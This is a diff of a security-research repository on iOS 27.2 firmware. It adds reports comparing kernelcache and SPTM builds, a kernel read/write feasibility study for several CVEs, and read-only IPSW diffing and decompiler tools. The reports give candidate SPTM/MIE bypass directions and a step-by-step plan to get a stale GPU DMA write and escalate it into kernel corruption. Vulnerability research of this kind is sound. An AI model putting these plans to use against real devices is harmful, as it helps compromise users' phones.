**Correction:** the kernel's `__DATA_SPTM` segment is byte-identical (311,296 B,
same SHA), but SPTM is a separate firmware image and **did** change:
- `Firmware/sptm.t8160`: SPTM-820.0.22 → **SPTM-820.40.24**, 1,261,600 → 1,327,136 B
(+64 KiB, all in `__LATE_CONST`); `__TEXT_EXEC` same size, different hash.
- New checks: DART `VIOLATION_T8110_DART_UNGANG_GAPF_RACE`, GMMU TLBI
verification, IOMMU read-refcount validation, UAT Dekker lock timeouts,
`VIOLATION_NVME_ILLEGAL_HIBERNATION_QUEUE_LATCH`, hibernation handoff page count.
- `txm.iphoneos`: same size, build-path/version only (Image4 374~7022 → 374~8637).
- `exclavecore`: 33,259,754 → 33,489,130 B (+229,376) — separate domain.
- MIE/MTE policy in SPTM is unchanged: the `MTE tag page containing SK tags`
check is a 210-instruction function in both builds (relocated, same shape), and
the kernel's MTE strings are identical. The Exclave image changed separately.
The full analysis, function addresses, and candidate bypass directions (DART
GAPF race, hibernation handoff, SK tag-page aliasing, dangling tag storage) are in
[SPTM-MIE-27.2.md](SPTM-MIE-27.2.md). No working SPTM/MIE bypass was produced: the
27.2 changes add checks, and the candidate paths need a reachable primitive that
the diff does not contain.
## Kernel fix-site candidates (27.2, address in the final 24B119 kernelcache)
These are the functions that reference the new 27.2 strings. They are candidate
fix sites for the 15 Kernel CVEs; the advisory does not map a CVE to a function,
so treat the CVE attribution as an inference.
| New string | Function (27.2) | Likely area |
|---|---|---|
| `size <= sdl->sdl_alen` | `0xfffffe000aeee474` (assert at `0xfffffe000aeee74c`) | sockaddr_dl / ifaddr bounds (info leak candidate, cf. 112665) |
| `Failed mbuf validity check` | `0xfffffe000aeaf8ac`, `0xfffffe000aecee70`, `0xfffffe000b0161bc`, `0xfffffe000b0c17a0` | mbuf length vs off+len (OOB read/write candidate) |
| `VM entry %p lock shared lock overflow` | `0xfffffe000b4bad74` | vm_map shared-lock state (COW / 112576 candidate) |
| `Page modified after framebank withdraw %p` | `0xfffffe000ad831b8` | pmap page lifecycle (UAF candidate) |
The `sdl` site is the most user-reachable of the four: it is on the network
interface/address path and the string is an assertion added in 27.2. The mbuf
site is next. Neither has a trigger or a demonstrated R/W effect; they are the
next functions to audit with a device.
## What can be turned into a PoC
| CVE | Primitive | PoC status |
|---|---|---|
| 2026-112705 | fixed-offset constant fill in AppleAVE2 | existing Swift/C POC + new `--sweep`; kernel panic on 27.0.1, property refused on 27.2 |
| 2026-113910 | kernel heap disclosure through decmpfs | existing C collector (`--loop`, `--keep`, pointer classes); read-only |
| 2026-112507 | request-table NULL check / race | existing harness; unreachable from an unentitled app (-300) |
| 2026-112696 | ANE validation, +39 KB | no trigger in the diff; ANE kext strings show resource/scheduler validation, not a user-reachable entry |
| 2026-65385 | IOHIDEvent fixed-offset write | IOHIDFamily grew only 236 B (+ `TCCService`); the advisory's IOKit fix is likely in the userland IOKit.framework (DSC), not this kext |
| other Kernel CVEs | UAF/OOB/race | fix sites visible as strings, but no trigger or reclaim strategy; writing a PoC would be guesswork |
The WebKit, ImageIO, CoreMedia and other userland components live in the dyld shared
cache inside the root filesystem image, which is not part of the ZIP's plain files;
those were not diffed here.
## Reproduce
```bash
python3 tools/ipsw/remote_ipsw.py extract <ipsw-url> kernelcache work/kernel/27.2.im4p
python3 tools/ipsw/ipswlib.py kernel ... # decode + list
python3 tools/ipsw/extract_kext.py work/kernel/27.2.kernel \
work/kernel/27.2-entries.json com.apple.driver.AppleAVE2 out.macho
python3 tools/ipsw/disasm_diff.py a.macho b.macho
```
The tools are read-only: no device is touched, and no firmware is modified.
+160
View File
@@ -0,0 +1,160 @@
# Kernel read/write feasibility — high and critical dossiers
Scope: the kernel-reachable entries rated High or Critical in the Cinder27 dossiers.
Question: can any of them be turned into arbitrary kernel read/write that does not
panic the device?
Short answer: **no, not from the material as it stands.** One entry gives a real
kernel heap leak (read), one gives a bounded read model, one gives a race receipt
on a UAF-shaped bug. The write entries either write a constant at a fixed offset or
never reach the kernel interface at all. This document records what each primitive
actually provides, what an arbitrary-R/W chain still needs, and what was added to
the POCs.
## Guardrails
- The host Mac was panicked once by the CVE-2026-112705 encode path. That path is
never executed on the host again; its C twin refuses to submit a frame without
`--force-host`.
- No blind kernel writes are attempted from any POC. A wrong guess in the kernel
heap is a panic, not a data point.
- The simulator has no AppleAVE2 hardware encoder and no ANE kernel interface, so
the write primitives cannot be exercised there either. Their app modules are
split into a safe probe and a deliberate fire module.
## Primitive inventory
| CVE | Entry | Primitive as shipped | Read | Write | Kernel R/W verdict |
|---|---|---|---|---|---|
| 2026-112705 | AppleAVE2 `NumberOfTemporalLayers` | fixed-offset constant fill in the driver | no | fixed value, fixed offset | **DoS only.** No address control, no value control. The original write-up says explicitly: no arbitrary read/write capability. |
| 2026-65385 | IOKit `IOHIDEventAppendEvent` | fixed-offset write into a short heap allocation | no | bounded, offset fixed | **Not reachable as a primitive here.** The POC stops at symbol resolution; the vendor-defined constructor is missing on the host. No leak, no reclaim, no gadget. |
| 2026-112696 | AppleH16ANEInterface | kernel interface reachability | no | none observed | **No primitive.** The ANE kernel symbols are absent for a third-party process; the module is an honest negative. |
| 2026-112507 | XNU `ipc_port.c` request-table race | stale index → UAF-shaped race | no | none direct | **Not reachable from the app.** Device receipt: 12,288 notification registrations, 0 armed, 12,288 refused with -300 (MIG_TYPE_ERROR). No request-table entry exists, so there is no stale index to consume. |
| 2026-113910 | decmpfs chunked zlib | under-produced chunks expose uninitialised kernel heap through a file read | **yes** (bounded) | no | **Leak only.** Useful as a KASLR step; cannot write. |
| 2026-112554 | GPT partition-name scan | 72-B scan over a 28-B field | **yes** (bounded, model) | no | **Leak only.** The C twin models the width; the real read runs in the storage kext. |
## What arbitrary kernel R/W actually requires
Every iOS kernel R/W chain needs five independent capabilities. A bug that supplies
one of them is a chain step, not a chain.
1. **KASLR defeat** — a kernel text or heap pointer with a known relationship to the
unslid base. 113910 and 112554 can supply candidates; neither guarantees a text
pointer, and a heap pointer alone does not give the slide.
2. **Heap grooming** — deterministic placement of a victim object next to the
corrupted allocation, in the same zone, at the same size class.
3. **Controlled reclaim / corruption** — for a UAF: free the object, reallocate the
slot with attacker-influenced contents, and keep a stale reference alive. For an
OOB write: a value and an offset that land on a field worth corrupting.
4. **A read/write gadget** — an object whose corrupted field yields a load or store
of an attacker-chosen address (e.g. a length+pointer pair, a page-table entry, a
thread's `pcb` pointer).
5. **PAC / PPL bypass** — kernel code pointers are PAC-signed; page tables are
protected by PPL on modern devices. A data-only path can sometimes avoid both,
but it still needs 1–4.
None of the six entries supplies 2–5. 112507 is the only one that could plausibly
reach step 3, and reaching it requires a device, kernel symbols, and a reclaim
strategy that the repository does not have.
## Per-entry notes
### CVE-2026-112705 — fixed constant, fixed offset
The driver indexes a layer table with the declared count and writes a constant at a
fixed offset past it. There is no attacker-chosen value and no attacker-chosen
address. The only observable is a kernel data abort. Calling this "R/W" would
require a second bug that turns the corrupted field into a pointer; nothing in the
dossier provides one. The correct classification is a reliable kernel DoS.
### CVE-2026-112507 — reachability closed on the device (2026-10-31)
The staged lifecycle harness was run on the target device (iPhone19,7, iOS 27.0.1)
with an ad-hoc signed build, and the race module was re-run with an `armed` counter:
- `mach_port_request_notification(DEAD_NAME)` → **-300** (MIG_TYPE_ERROR), `prev = 0`.
- Send to the dead name → `MACH_SEND_INVALID_DEST`; receive → `MACH_RCV_TIMED_OUT`.
- `kern.ipc`: 12,288 registration attempts, **0 armed, 12,288 refused**.
- On macOS 27 the same call was swept over 13 combinations of notification type
(SEND_POSSIBLE / PORT_DESTROYED / NO_SENDERS / DEAD_NAME) and right layout
(receive-only, send+receive, send-only; notify port receive or send). Every
combination returned -300.
The kernel refuses to arm a request-table entry for this process. With no entry,
the stale-index consumers in `ipc_port.c` have nothing to consume: the race cannot
be driven from an unentitled third-party app, and the "survived" line from the old
harness was measuring port churn, not the bug. The published fix shape (NULL checks
on `ipr` / `table`) is consistent with a denial or null-dereference path, not with a
reclaimable object.
**27.2 firmware confirmation (2026-10-31):** the 27.2 kernel adds `ipr != NULL` /
`table != NULL` in `ipc_misc.c` — a NULL-check fix, not a reclaimable-object fix.
The 27.0.1/27.2 kernelcache diff is in [IOS27.2-KERNEL-DIFF.md](IOS27.2-KERNEL-DIFF.md).
**Verdict: closed for this app.** The remaining hypothetical is a platform process
that is allowed to register notifications; that is outside Cinder27's reach.
### CVE-2026-112507 — the race itself
The ring allocates receive rights, arms two notification kinds per port, tears down
half the ring, then sends to the survivors. The request-table index consumers are
the target of the race. A weaponised version would need:
- a win condition that is observable without panicking (a receipt, not a crash);
- a same-zone reclaim object with controllable contents (Mach ports themselves are
one candidate, but the request-table entry's layout is not attacker-shaped);
- a stale consumer that dereferences the reclaimed slot after the free;
- a leak to place the reclaim object and to find the kernel base.
The POC records `-300` and `invalid destination` receipts and reports that the
interleaving survived. That is the honest limit of a userspace race harness: it can
show the window exists, not that the window is controllable.
### CVE-2026-113910 — the leak that was worth improving
This is the only entry where more code produces more signal. The C twin now:
- sweeps 8 chunk configurations (including `produce=0`, which promises 64 KiB per
chunk and writes none of it);
- repeats the sweep `--loop N` times;
- classifies every 8-byte-aligned value as kernel-text (`0xfffffff0…`), kernel-data
(`0xffffffe0…`), kernel-other, or user;
- writes the raw readback to `--keep out.bin` for offline analysis;
- never dereferences a candidate.
On the macOS host decmpfs does not engage for a file that already has data (the
documented oracle), so the run reports zero candidates and 3.2 MB of plain 0x41
readback. On an iOS device where the chunked xattr is honoured, the same sweep is
the KASLR step. It still does not write.
### CVE-2026-112554 — a read-width model, not a kernel reader
The C twin builds the overlong-name GPT and walks the name field the way 27.0 does.
It proves the scan width (72 B against a 28-B field) but the bytes come from the
image, not from the kernel heap. Treat it as a seed/oracle model. The real read
would have to run through the storage kext on a mounted image; that is not attempted
on the host.
## What was deliberately not done
- No attempt to fire 112705 or 65385 on the host: both can panic the kernel, and a
panic is not evidence of control.
- No blind write into a guessed kernel address: with KASLR and PAC in play, a wrong
guess is indistinguishable from a bug that does not work.
- No claim that 112507 is exploitable: a race receipt is not a UAF primitive until
the free/reclaim/stale-dereference sequence is observed.
## Bottom line
Arbitrary kernel R/W without a panic is **not achievable from these six entries as
shipped**, and the one entry that had a theoretical UAF path (112507) is now closed
by device evidence: notification registration is refused, so the request table is
never armed. The maximum safe capability the lab demonstrates is:
- a repeatable kernel heap **leak** with pointer classification (113910);
- a read-width model for the GPT scan (112554);
- a race-window harness with receipts (112507);
- honest negatives for the write entries that never reach a controllable primitive.
The next real step is not more code in this repository; it is a device session with
kernel symbols, a reclaim strategy for 112507, and a stop condition for every write.
+338
View File
@@ -0,0 +1,338 @@
# SPTM / MIE deep dive — iOS 27.2 (24B119) vs 27.0.1 (24A446)
This is the part that the kernelcache alone cannot answer. SPTM is a separate
firmware image in the IPSW (`Firmware/sptm.t8160.release.im4p`), and it **did**
change in 27.2. The earlier note that "SPTM is unchanged" was based only on the
kernel's `__DATA_SPTM` segment and was wrong: that segment is identical, but the
SPTM monitor itself is not.
## Component inventory
| Component | 27.0.1 | 27.2 | Change |
|---|---|---|---|
| `sptm.t8160` | 1,261,600 B · SPTM-820.0.22 | 1,327,136 B · SPTM-820.40.24 | **+65,536 B** |
| `txm.iphoneos` | 557,088 B · Image4 374~7022 | 557,088 B · Image4 374~8637 | build-only |
| `exclavecore.t8160` | 33,259,754 B | 33,489,130 B | +229,376 B |
| kernel `__DATA_SPTM` | 311,296 B · sha f4bc1e5e… | 311,296 B · sha f4bc1e5e… | **identical** |
| kernel MTE strings | `VM_KERN_MEMORY_MTAG`, taggable pages | same | unchanged |
SPTM segment sizes:
| Segment | 27.0.1 | 27.2 |
|---|---|---|
| `__TEXT_EXEC` | 425,984 | 425,984 |
| `__LATE_CONST` | 524,288 | **589,824** (+65,536) |
| `__TEXT` / `__DATA` / `__BOOTDATA` | 98,304 / 65,536 / 98,304 | same |
The +64 KiB is entirely in `__LATE_CONST`; the executable text kept its size but
its hash changed (`347aa218…` → `064c286f…`), so functions were edited/relocated.
## What 27.2 adds to SPTM
String diff (32 new, 7 removed) is dominated by IOMMU/DART and hibernation
hardening — none of it is named in the 162-CVE advisory:
- `VIOLATION_T8110_DART_UNGANG_GAPF_RACE`
- `%s: %s: iommu_read_refcnt (0x%hhx) > read_refcnt(0x%x) for FTE %p`
- `%s: Failed to verify TLBI`
- `%s: The GMMU TLBI verification register should be 8B-aligned`
- `gmmu-tlbi-verification-reg` / `gmmu-tlbi-verification-bit`
- `%s: UAT Dekker gate acquisition timed out after %llu ns`
- `%s: UAT Dekker lock acquisition timed out after %llu ns`
- `%s: dart %p (%s:%u): relaxed_rw_protections and allow_pte_remap are not supported together`
- `%s: dart %p (%s:%u): Inconsistent unganged clock protection configuration`
- `VIOLATION_NVME_ILLEGAL_HIBERNATION_QUEUE_LATCH`
- `hib_header_copy->handoffPageCount < HIB_HANDOFF_PAGECOUNT_LIMIT`
- `sptm_allow_vm_isa_internal_guests`, `sptm_is_iuou_or_iuos_device`
- `SPTM-820.40.24|2026-10-03:14:50:35`
The TLBI string has five code xrefs in 27.2, at functions starting near
`0xfffffff0270c7aac`, `0xfffffff0270c85f8`, `0xfffffff0270c987c`,
`0xfffffff0270cacf4` and `0xfffffff027109940`.
Function-level alignment makes the change concrete. The first TLBI function
(`0xfffffff0270c7aac`, **369 instructions**) matches a **264-instruction**
function at `0xfffffff0270b7a90` in 27.0.1 (prefix similarity 0.90). The 27.2
version inserts a block that:
1. reads `DAIF` and masks interrupts (`msr DAIFSet, #0x7`, `dsb sy`);
2. reads `CNTVCTSS_EL0` and `CNTFRQ_EL0` and computes a deadline;
3. loads a timeout constant (`0x3d40` = 15680 units) and the TLBI verification
register address;
4. polls/validates the GMMU TLBI completion, and only then continues.
The 27.0.1 function issues the invalidation and proceeds without that wait. This
is not a relocated instruction; it is an added completion check.
The DART violation names are not referenced by a direct `adr`/`adrp+add` — they
are indexed through a violation table, so their exact raiser is a table lookup.
The name itself is the evidence that 27.2 adds a check for the T8110 DART
"ungang GAPF" race.
## MIE / MTE surface
MIE is not a single binary. The relevant pieces are:
- **SPTM**: manages tag pages and checks `MTE tag page containing SK tags is
mapped`. The function is at `0xfffffff0270c6320` in 27.0.1 and
`0xfffffff0270d7028` in 27.2; both are exactly 210 instructions, same prologue
and same range-check shape (`subs` + `ccmp` against two globals). It was
relocated, not rewritten.
- **Kernel**: the MTE page allocator (`VM_KERN_MEMORY_MTAG`, taggable pages, MTE
fill thread) has the same strings in both builds; no new MTE logic appears in
the 62 new kernel strings.
- **Exclave core**: carries the PMM tag machinery (`pmmtag_l4_decode`,
`Conclave MTE tag check fault`, shared-memory tags), and grew by 229,376 B.
That is a separate firmware update; no CVE in the advisory names it.
So the MIE *policy* surface in SPTM and XNU is unchanged in 27.2. The only
MIE-adjacent code that changed is inside Exclave, which is a separate domain.
Related SPTM strings that were already present in 27.0.1 and remain:
- `%s: Dangling tag storage reference from previous mapping attempt`
- `%s: Found SK-owned memory in non-wired memory`
- `%s: dart %p (%s:%u): power down not permitted as SK still using the DART`
The dangling-tag check is a real state machine: a previous tag-storage mapping
attempt can leave a reference that SPTM detects later. It exists in both builds,
so it is not a 27.2 fix; it is an audit target.
### MTE check semantics (27.2, `0xfffffff0270d7028`)
The 210-instruction function is a PA-range gate, not a tag-value check:
```
x19 = page PA
if (x19 - [0xfffffff0270ae218] < ([0xfffffff0270ae220] - [0xfffffff0270ae218])) {
... state bit test ...
if (state bit) panic("%s: MTE tag page containing SK tags is mapped %#lx", x19)
}
```
The comparison is on the physical address. An alias that maps the same physical tag
page at a different virtual address does not move the PA, so it does not avoid the
check. A bypass would need to make SPTM see a different PA for the same tag memory
(a page-table/IOMMU bug), or to corrupt the range globals / state bit — none of
which is present in the 27.2 diff. This is why the MTE line remains a hypothesis,
not a finding.
## Why Titan does not transfer
Titan (iOS 16.1–17.4b3, A14–A17) is not an SPTM logic bug. It uses:
1. AGX coprocessor code execution to overwrite the AGX `power` thread state;
2. the AGX hibernation context to restore a attacker-supplied `TTBR1_EL1` and a
second ROP stack (microPPL bypass);
3. a self-referencing page-table entry to map and write any physical page,
defeating PPL/SPTM.
Apple patched the AGX thread-state PAC in 18.1b4 and the TTBR restore in 17.4b4.
The 27.2 SPTM diff is not a return of that bug: it is DART/hibernation hardening
inside the monitor. A 27.2-era bypass would need a new primitive that can either
(a) make SPTM map a page table it does not protect, or (b) corrupt the tag/SK
metadata that SPTM trusts. There is no such primitive in the diff.
## Candidate bypass directions (hypotheses, not PoCs)
These are grounded in the 27.2 changes and the unchanged MIE checks. None is a
working exploit; each needs a reachable primitive that the firmware diff does
not supply.
0. **GMMU TLBI completion race (strongest static lead).** 27.0.1 lacks the
completion wait that 27.2 adds to the DART invalidation path. A DMA-capable
device whose translation is invalidated can keep using a stale GMMU entry if
the invalidation has not completed; the stale entry is a DMA read/write to a
page that SPTM has already unmapped or repurposed. This is an IOMMU bypass,
not a page-table permission bypass, but it defeats the same isolation goal.
Reachability requires a userclient that owns DART mappings and can keep DMA
in flight across an unmap — the next thing to test on hardware.
1. **DART unganged-GAPF race.** 27.2 adds a violation for a race between
unganging a DART and a page-table remap. On 27.0.1 the race can leave a stale
DART translation if a mapping is unganged while a PTE is remapped. A stale
IOMMU translation is a DMA read/write primitive to memory SPTM considers
protected. Reachability: a userclient that owns DART mappings (IOGPU, display,
NVMe, PCIe). This is the closest analogue to a "SPTM bypass", but it is an
IOMMU bypass, not a page-table permission bypass.
2. **Hibernation handoff page count.** 27.2 adds
`hib_header_copy->handoffPageCount < HIB_HANDOFF_PAGECOUNT_LIMIT` and the
NVMe hibernation queue latch violation. On 27.0.1 a corrupted hibernation
header could make SPTM restore from a handoff page it did not size-check.
Reachability: modifying the hibernation image or the NVMe queue, not an app.
3. **SK tag-page aliasing.** The SPTM check only rejects a tag page whose
physical address falls in the `[start,end)` range loaded from two globals. A
mapping that aliases the same physical tag page at a different PA, or a
remap that changes the range after the check, would let user-controlled tags
cover SK memory. That is an MIE bypass: forge the tag for an SK page, then
read/write it. Reachability: a kernel primitive that maps tag storage with a
user-influenced PA; not present in the 27.2 diff.
4. **Dangling tag-storage reference.** SPTM already detects a dangling
reference from a previous mapping attempt. A race between unmap and remap of
tag storage could leave the stale reference usable; the freed tag page could
be reallocated as a user tag page. Same MIE impact as (3).
## Verdict
- SPTM **did** change: 820.0.22 → 820.40.24, +64 KiB, DART/TLBI/hibernation
hardening. The kernel-side `__DATA_SPTM` being identical is not evidence that
SPTM is unchanged.
- No SPTM/MIE bypass is named in the 27.2 advisory, and no page-table permission
check was removed or weakened in the diff. The changes add checks.
- MIE policy in SPTM/XNU is unchanged; Exclave changed separately.
- A working bypass was **not** produced. The candidate paths above need a
reachable primitive (DART userclient, tag-storage mapping, or hibernation
image control) and a device session; writing one blind would be guesswork.
## Critical finding — the 27.2 TLBI verification is disabled on iPhone19,7
The check is conditional. SPTM's `uat_bootstrap_parse_dt` (27.2,
`0xfffffff0270cbe18`) reads the `/arm-io/sgx` node and looks up
`verify-gmmu-tlbis-at-sync`. The property-missing path is explicit:
```
0xfffffff0270cc184 adrp x8, 0xfffffff0270ae000
0xfffffff0270cc188 ldr x22, [x8, #0x208]
0xfffffff0270cc18c strb wzr, [x22, #0x81] ; verify flag = 0
0xfffffff0270cc190 ... continue parsing
```
So if the property is absent, the verification is **off**, not fatal.
Now the device mapping:
- `BuildManifest.plist` maps **iPhone19,7 → DeviceClass `v64sap`**.
- The 27.2 `DeviceTree.v64sap.im4p` (406,684 B decoded) contains
`agx-address-space-mgmt-mode`, `tlbi-aperture-offset`, `dart-options` and the
SAPT node, but **no** `verify-gmmu-tlbis-at-sync`,
`gmmu-tlbi-verification-reg` or `gmmu-tlbi-verification-bit`.
- The same strings are absent from the 27.2 iBoot, the AGX firmware, and the
whole kernelcache. They exist only in SPTM itself.
The iPad images the reference report analysed (`j817ap` / `j820ap`) do carry the
property, which is why beta3 looks fixed there. On iPhone19,7 the gate is
missing, so the 27.2 build executes the **beta2 behaviour**: AMXOP25 loop →
`dsb oshnxs` → clear pending count → continue, with the verification block
skipped.
### What this means
- Reachability on the final 27.2 v6x-pandia build is confirmed: the
`IOGPUFamily` kext still exports `IOGPUDeviceUserClient::s_new_resource`,
`s_submit_command_buffers`, `s_create_io_command_queue`,
`s_destroy_io_command_queue`, `s_perform_io`, `s_group_add_resources`,
`s_group_remove_resources`, `s_create_vniodesc`; the kernel still contains
`IOUAT doUnmap/queueUnmap/commitUnmaps/prepareFWUnmap`,
`uat_get_root_table_paddr`, `pmap_iommu_ioctl_internal` and
`sptm_check_sapt_is_writable`. So the user path from IOGPU to the SPTM UAT
unmap exists unchanged.
- Method handler addresses in the final v6x kext:
`IOGPUDeviceUserClient::s_new_resource` = `0xfffffe000a176094`,
`s_submit_command_buffers` = `0xfffffe000a176424`. Selector recovery is still
blocked: there is no direct `bl` to either handler and no raw/chained pointer
in the kext or the kernelcache; the dispatch is indirect and the table is
relocated at boot. Recovering the selector numbers needs a decompiler
(Ghidra/IDA/Hopper) or a live kernel view, neither of which is available here.
- On iPhone19,7, the GMMU TLBI completion window is **not closed by 27.2**.
The UAT unmap → data page freed → GMMU stale translation race remains.
- The fix is a code change plus a per-device DeviceTree gate; the gate is absent
on the iPhone 19,7 image. This is a fix-gating gap, not a new memory-safety bug.
- This makes the Titan-style end goal (data page → PAPT page → GPU stale write →
RO-zone writable alias) still applicable on an iPhone running 27.2, assuming
the rest of the chain is reachable.
Caveat: this is static evidence (parser + DT + BuildManifest + component search).
Runtime confirmation is a 27.2 iPhone boot with the DT dumped and the SPTM verify
flag read; that device was not available here. The 18PM in this lab is 27.0.1,
where the check does not exist at all.
### If the flag is present
If a future iPhone build adds the DT property, the check runs and the window
closes (panic `Failed to verify TLBI` on a still-pending GMMU TLBI). That is the
condition to test in the next firmware.
## Cutter / rz-ghidra decompilation
The open-source decompiler in Cutter 2.5.0 (`rizin` + `rz-ghidra`, no Java) was used
to confirm the two key functions. Raw `__TEXT_EXEC,__text` is loaded as ARM64, and
`retab` is patched to `ret` in a copy so the decompiler does not truncate.
MTE SK tag-page check (`0xfffffff0270d7028`, raw offset `0x23028`):
```c
if ((uint64_t)arg1 < *(uint64_t *)0xffffffffffffa218 ||
*(uint64_t *)0xffffffffffffa220 <= (uint64_t)arg1) {
func_0x0004b2ac(arg1); // outside the SK tag-page PA range: normal path
}
// inside the range: panic "MTE tag page containing SK tags is mapped"
```
TLBI completion path (`0xfffffff0270c7aac`, raw offset `0x13aac`): the decompiler
shows the verification state being read (`uVar15 >> bit & 1`), a countdown
(`uVar14`), and the GMMU invalidation issued through a code pointer inside the
loop; 27.0.1 lacks this block (function 264 vs 369 instructions).
The IOGPU method handlers (`s_new_resource` at raw offset `0x70a4`,
`s_submit_command_buffers` at `0x7434`) are PAC-heavy and the decompiler truncates
at the first `pacibsppc`/`braa`; disassembly is still available, but selector
recovery needs the dispatch table or a live kernel.
## Verification plan — GMMU TLBI completion race
The static delta is real, but exploitability depends on keeping a DART client's
DMA in flight across an unmap. The test is hardware-only; it is written down here
so the next session does not have to rediscover the shape.
Target: a disposable 27.0.1 device (vulnerable) and a 27.2 device (control).
Primitive needed: an IOGPU userclient plus IOSurface/metal command buffers. The
kernel DART and IOGPU kexts are unchanged in 27.2 (IOGPU only gained a
`systemPagingOff()` timeout diagnostic), so the user-reachable map/unmap path is
the same on both builds; the fix lives inside SPTM.
Steps:
1. Allocate a page-aligned IOSurface `S`, fill it with a canary, map it through
IOGPU, and record its physical pages if the API exposes them.
2. Submit a long-running GPU write into `S` (a compute shader that keeps writing
a pattern for several milliseconds).
3. While the GPU work is in flight, unmap/free `S` through IOGPU so the DART
entry is invalidated. On 27.0.1 the invalidation is not completion-checked.
4. Immediately allocate a fresh page `P` (user or kernel object) and fill it with
a different canary. If the GPU's writes land in `P`, the GMMU entry survived
the unmap: a stale DMA write primitive.
5. Escalate only after step 4 is observed: reuse `P` as a kernel object with a
pointer field and use the GPU write to corrupt it.
Success criterion: a write to `P` after `S` was unmapped, reproducible on 27.0.1
and absent on 27.2. A GPU timeout or a single crash is not success; the canary
difference is.
Safety: run with the phone's panic log enabled, one stage at a time, and stop on
the first unexpected kernel panic. The harness must journal the stage before the
unmap (same pattern as Cinder27's GuardJournal).
## Verification plan — MIE tag storage
The SPTM `MTE tag page containing SK tags` check is unchanged, so a bypass here
would be a new bug, not a 27.2 regression. It needs a kernel primitive that maps
tag storage with a caller-influenced physical address (or a dangling tag-storage
reference). The 27.2 diff does not expose such a primitive. The audit order is:
1. Find the kernel callers of the SPTM tag-storage map/unmap operations (the
kernel MTE allocator, `VM_KERN_MEMORY_MTAG`).
2. Check whether the PA is derived from a user-controlled IOSurface/descriptor.
3. If yes, attempt an alias (map the same PA at a different address) and see
whether the SPTM range check still rejects it.
4. If the check is bypassed, forge the tag for an SK page and read/write it.
Until step 1 yields a user-influenced PA, this remains a hypothesis.
## Reproduce
```bash
python3 tools/ipsw/remote_ipsw.py extract <url> sptm work/fw/27.2-sptm.im4p
python3 tools/ipsw/ipswlib.py kernel ... # IM4P/LZFSE decode
python3 tools/string_xref.py work/fw/27.2-sptm.bin "Failed to verify TLBI"
python3 tools/fw_diff.py work/fw/27.0.1-sptm.bin work/fw/27.2-sptm.bin
```
+17
View File
@@ -0,0 +1,17 @@
# ARM64 decompiler (Cutter / rizin / rz-ghidra)
IDA Pro is commercial; this uses the open-source decompiler bundled with Cutter 2.5.0
(`/Applications/Cutter.app`). No Java is involved, so it works on macOS 27 where the
Ghidra JVM crashes in CodeHeap.
```bash
tools/decompiler/decompile.sh <raw-arm64-text.bin> <function-offset-hex>
```
Raw blobs are the `__TEXT_EXEC,__text` section of a Mach-O (see
`tools/ipsw/ipswlib.py` for extraction). `SLEIGHHOME` is set to the bundled
`rz_ghidra_sleigh` specs; without it rz-ghidra reports "No sleigh specification".
Limitations: PAC instructions (`pacibsp`, `retab`) and some pointer-auth branches
truncate the decompiler output. Patch `retab` (0xd65f0fff) to `ret` (0xd65f03c0) in
a copy of the blob before decompiling; keep the original for ground truth.
+8
View File
@@ -0,0 +1,8 @@
#!/bin/bash
# Decompile one function from a raw ARM64 blob with Cutter's rz-ghidra.
# usage: decompile.sh <raw.bin> <offset-hex> [sleighhome]
set -e
RZ=/Applications/Cutter.app/Contents/Resources/bin/rizin
export DYLD_LIBRARY_PATH=/Applications/Cutter.app/Contents/Resources/lib
export SLEIGHHOME=${3:-/Applications/Cutter.app/Contents/Resources/lib/rizin/plugins/rz_ghidra_sleigh}
"$RZ" -a arm -b 64 -e scr.color=0 -q -c "s $2; af; pdg" "$1"
+16
View File
@@ -0,0 +1,16 @@
# IPSW kernel-diff toolkit
Read-only helpers used for the 27.0.1 → 27.2 kernel comparison in
[`docs/IOS27.2-KERNEL-DIFF.md`](../../docs/IOS27.2-KERNEL-DIFF.md).
| Script | Purpose |
|---|---|
| `remote_ipsw.py` | HTTP-Range ZIP reader: list/extract a member without downloading the whole IPSW |
| `ipswlib.py` | IM4P/LZFSE decode, Mach-O/fileset parse, cstring extraction |
| `extract_kext.py` | dump one fileset entry as a standalone Mach-O (linkedit offsets rebased) |
| `disasm_diff.py` | normalized `llvm-objdump` instruction diff for two kexts |
| `diff_kernel.py` | kext-level diff (bundle id, size, strings, function hashes) |
| `map_advisory.py` | advisory CVE list → component/binary candidate table |
Requirements: Python 3, `pip install lzfse macholib`, Xcode command line tools
(`llvm-objdump`). Nothing writes to a device.
+163
View File
@@ -0,0 +1,163 @@
#!/usr/bin/env python3
"""Diff two prelinked kernelcaches (27.0.1 vs 27.2) at kext and function level.
Usage:
python3 diff_kernel.py <a.ipsw> <a-member> <b.ipsw> <b-member> [outdir]
Outputs:
kexts.json per-kext uuid/text hash/bundle id for both builds
changed.txt human-readable summary
strings-<id>.txt string adds/removes for changed kexts
"""
import hashlib
import json
import os
import re
import sys
import zipfile
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
import ipswlib
def ascii_strings(data, minlen=6):
out = []
cur = bytearray()
for b in data:
if 32 <= b < 127:
cur.append(b)
else:
if len(cur) >= minlen:
out.append(cur.decode("ascii", "ignore"))
cur = bytearray()
if len(cur) >= minlen:
out.append(cur.decode("ascii", "ignore"))
return out
BID_RE = re.compile(r"^com\.apple\.[A-Za-z0-9_.-]{4,}$")
def bundle_id(m):
"""Heuristic: the kext identifier is the longest com.apple.* string in __TEXT."""
cands = [s for s in ascii_strings(m.text_bytes()) if BID_RE.match(s)]
cands.sort(key=lambda s: (-s.count("."), -len(s)))
return cands[0] if cands else None
def func_hashes(m):
starts = m.function_offsets()
text = m.text_bytes()
t = m.text_segment()
out = []
for i, addr in enumerate(starts):
end = starts[i + 1] if i + 1 < len(starts) else t["vmaddr"] + t["vmsize"]
off = m.vm_to_file(addr)
endoff = m.vm_to_file(end)
if off is None or endoff is None or endoff < off:
continue
chunk = m.data[off:endoff]
out.append((addr, hashlib.sha256(chunk).hexdigest()[:16], len(chunk)))
return out
def load(ipsw, member):
data = ipswlib.read_kernelcache(ipsw, member)
ms = ipswlib.scan_machos(data)
rows = []
for m in ms:
rows.append({
"uuid": m.uuid,
"cpu": ipswlib.CPU_NAMES.get(m.cputype, hex(m.cputype)),
"bid": bundle_id(m),
"text_sha": hashlib.sha256(m.text_bytes()).hexdigest()[:16],
"text_size": len(m.text_bytes()),
"nfuncs": len(m.function_offsets()) if m.function_starts else 0,
"_m": m,
})
return data, rows
def main():
a_ipsw, a_mem, b_ipsw, b_mem = sys.argv[1:5]
outdir = sys.argv[5] if len(sys.argv) > 5 else "work/kernel-diff"
os.makedirs(outdir, exist_ok=True)
print("== extracting", a_mem)
